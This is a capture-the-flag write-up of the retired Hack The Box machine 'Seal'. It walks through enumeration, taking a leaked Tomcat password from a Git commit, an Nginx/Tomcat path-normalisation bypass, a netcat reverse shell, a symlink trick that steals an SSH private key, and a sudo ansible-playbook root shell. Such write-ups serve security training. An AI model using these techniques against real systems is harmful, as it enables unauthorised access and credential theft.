Feature Image

Seal is a Medium rated Linux machine that tests an attacker on their ability to enumerate Git repositories, bypass reverse proxy restrictions and exploit misconfigurations in automation software.

This machine was retired on 14 November 2021 (SGT).

I will be using a Kali Linux virtual machine to attempt this box. Before I start, I will map the machine’s IP address to a domain name, usually using the machine’s name and the TLD .htb.

kali@kali:~$ echo " seal.htb" | sudo tee -a /etc/hosts

Reconnaissance and Enumeration


nmap revealed the following key services:

22/tcpOpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
443/tcpnginx 1.18.0 (Ubuntu)
8080/tcphttp-proxy    GitBucket
kali@kali:~$ nmap -sCV -p-
Starting Nmap 7.91 ( ) at 2021-09-14 23:54 +08
Nmap scan report for
Host is up (0.044s latency).
Not shown: 997 closed ports
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
|   256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
|_  256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
443/tcp  open  ssl/http   nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Not valid before: 2021-05-05T10:24:03
|_Not valid after:  2022-05-05T10:24:03
| tls-alpn:
|_  http/1.1
| tls-nextprotoneg:
|_  http/1.1
8080/tcp open  http-proxy
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 401 Unauthorized
|     Date: Tue, 14 Sep 2021 15:54:11 GMT
|     Set-Cookie: JSESSIONID=node01xdri6xp8mxmw1uucj9v8j9fcg7803.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   GetRequest:
|     HTTP/1.1 401 Unauthorized
|     Date: Tue, 14 Sep 2021 15:54:11 GMT
|     Set-Cookie: JSESSIONID=node0rqv64fkboshsigbvtmt9wd2k7801.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Date: Tue, 14 Sep 2021 15:54:11 GMT
|     Set-Cookie: JSESSIONID=node0gysgo54d1mn5lejhmefu3lm37802.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   RPCCheck:
|     HTTP/1.1 400 Illegal character OTEXT=0x80
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 71
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
|   RTSPRequest:
|     HTTP/1.1 505 Unknown Version
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|     <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
|   Socks4:
|     HTTP/1.1 400 Illegal character CNTL=0x4
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x4</pre>
|   Socks5:
|     HTTP/1.1 400 Illegal character CNTL=0x5
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|_    <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x5</pre>
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 19.48 seconds

443/tcp (Nginx Web Server)

Website is hosted on a HTTPS port, checking the certificate revealed domain to be seal.htb. Nothing intersting can be seen as of now. Running directory brute force reveals the existence of an admin and manager directories.

kali@kali:~$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://seal.htb/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       


 :: Method           : GET
 :: URL              : https://seal.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403

images                  [Status: 302, Size: 0, Words: 1, Lines: 1]
admin                   [Status: 302, Size: 0, Words: 1, Lines: 1]
icon                    [Status: 302, Size: 0, Words: 1, Lines: 1]
css                     [Status: 302, Size: 0, Words: 1, Lines: 1]
js                      [Status: 302, Size: 0, Words: 1, Lines: 1]
manager                 [Status: 302, Size: 0, Words: 1, Lines: 1]

Accessing the /admin directory on a web browser returns a 404 Not Found. Interestingly it reveals that this web instance is running on an Apache Tomcat (9.0.31) service.

Accessing the /manager directory returns a redirect to /manager/html, after which a 403 Forbidden is returned by Nginx. As of now there is no further information on these 2 services.

8080/tcp (GitBucket)

GitBucket prompts for credentials, but a new account can be created without issue. 2 repositories can be seen: seal_market and infra.

Exploring the seal_market repository, it can be seen that the repository contains the source code and configuration for the Apache Tomcat web deployment.

Under the nginx site configurations, it can be seen that several endpoints (locations) are protected by Client SSL authentication.

Checking the commit history Commit 971f3aa revealed that there is a credential leak for the Apache Tomcat service (tomcat:42MrHBf*z8{Z%).

Exploiting URL Normalisation issue

A finding by Acunetix highlights that a URL normalisation issue exists between Nginx and Apache Tomcat. Apparently ; can be used to prevent Nginx from normalising the URL (from /manager/;/html) to /manager/html, bypassing the location block containing Client SSL authentication checks.

Accessing https://seal.htb/manager/;/html will prompt for credentials. Use the Tomcat credentials obtained previously and authentication will be successful.

Initial Foothold: tomcat

Generate a WAR package to execute a reverse shell and deploy it on the server.

Start a netcat listener and visit the URL of the deployed WAR file (/shell) to trigger the reverse shell.

kali@kali:~$ nc -lvnp 13337
listening on [any] 13337 ...
connect to [] from (UNKNOWN) [] 51708
id && hostname
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)

Privilege Escalation: luis

cat /opt/backups/playbook/run.yml
- hosts: localhost
  - name: Copy Files
    synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
  - name: Server Backups
      path: /opt/backups/files/
      dest: "/opt/backups/archives/backup--.gz"
  - name: Clean
      state: absent
      path: /opt/backups/files/

This playbook will recursively copy all files in /var/lib/tomcat9/webapps/ROOT/admin/dashboard to /opt/backups/files. The option copy_links=yes will copy the actual file a symlink is pointing to, rather than the symlink itself. This allows us to copy files that are inaccessible by tomcat but accessible by luis. We can abuse this to copy out luis’s SSH private key (Assuming it’s id_rsa since that is the default SSH RSA private key name).

cd /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads
ln -s /home/luis/.ssh/id_rsa

Download the backup archive in /opt/backups/archives, extract it and retrieve the SSH private key of luis.

kali@kali:~$ ssh -i id_rsa [email protected]
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:
 * Management:
 * Support:

  System information as of Wed 15 Sep 2021 07:52:51 AM UTC

  System load:  0.1               Processes:             175
  Usage of /:   48.7% of 9.58GB   Users logged in:       0
  Memory usage: 28%               IPv4 address for eth0:
  Swap usage:   0%

0 updates can be applied immediately.

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to Check your Internet connection or proxy settings

Last login: Wed Sep 15 07:49:09 2021 from


The user flag is located in the home directory of luis.

luis@seal:~$ ls -l
total 51272
-rw-r--r-- 1 luis luis 52497951 Jan 14  2021 gitbucket.war
-r-------- 1 luis luis       33 Sep 15 06:14 user.txt
luis@seal:~$ cat user.txt

Privilege Escalation: root

Running sudo -l revelaed that user luis can execute ansible-playbook wih root privileges without password prompt.

luis@seal:~$ sudo -l
Matching Defaults entries for luis on seal:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User luis may run the following commands on seal:
    (ALL) NOPASSWD: /usr/bin/ansible-playbook *

Using GTFOBins, one can see that ansible-playbook can be used to spawn a root shell when executed with sudo.

luis@seal:~$ TF=$(mktemp)
luis@seal:~$ echo '[{hosts: localhost, tasks: [shell: /bin/bash </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
luis@seal:~$ sudo ansible-playbook $TF
[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'

PLAY [localhost] ******************************************************************************************************************************************************************

TASK [Gathering Facts] ************************************************************************************************************************************************************
ok: [localhost]

TASK [shell] **********************************************************************************************************************************************************************


The root flag is located in the home directory of root.

root@seal:~# ls -l
total 8
-r-------- 1 root root   33 Sep 15 06:14 root.txt
drwxr-xr-x 3 root root 4096 May  7  2021 snap
root@seal:~# cat root.txt

References and Further Reading